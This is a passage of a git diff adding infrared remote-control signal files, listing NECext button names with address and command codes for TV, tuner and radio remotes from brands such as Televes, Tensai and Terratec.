+protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 23 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 24 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 26 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir new file mode 100644 index 000000000..244d4493e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_2KHZ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: MS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: WN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: HILO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: VH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir new file mode 100644 index 000000000..f55055df6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir new file mode 100644 index 000000000..6cc7b1636 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: TV/R +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: out +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: ./.. +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: Pup +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: Pdown +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: = +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 23 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 24 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 25 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 26 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir new file mode 100644 index 000000000..1b133f5a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FILE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: DEVICE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 +# +name: MOSAIC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5C 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5D 00 00 00 +# +name: KEY_GOTO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir b/assets/resources/infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir new file mode 100644 index 000000000..b1bd731bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 03 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 08 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 09 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 86 7C 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir b/assets/resources/infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir new file mode 100644 index 000000000..0f0015da4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 0A 00 00 00 +# +name: S +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 0C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 0D 00 00 00 +# +name: UNHAPPY +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 0E 00 00 00 +# +name: HAPPY +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 0F 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 10 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 11 00 00 00 +# +name: I> +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 12 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 13 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 14 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 15 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 16 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 17 00 00 00 +# +name: SENDER +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 18 00 00 00 +# +name: NETWORK +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 19 00 00 00 +# +name: FAVORITES +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 1A 00 00 00 +# +name: >I +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 1B 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 1C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 1D 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 1E 00 00 00 +# +name: I< +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 1F 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: 04 F3 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir new file mode 100644 index 000000000..54984f7c6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0A 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0C 00 00 00 +# +name: reload +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 11 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 14 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 15 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 16 00 00 00 +# +name: red_time +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 17 00 00 00 +# +name: blue_win +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 18 00 00 00 +# +name: yellow_music +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 19 00 00 00 +# +name: blue_plan +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 1F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 48 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 4C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 54 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 58 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 EB 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir new file mode 100644 index 000000000..293b858d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0A 00 00 00 +# +name: app +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 11 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: MOUSE_WEST +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: MOUSE_EAST +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 20 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 22 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir new file mode 100644 index 000000000..e08cba4a2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0D 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 14 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 14 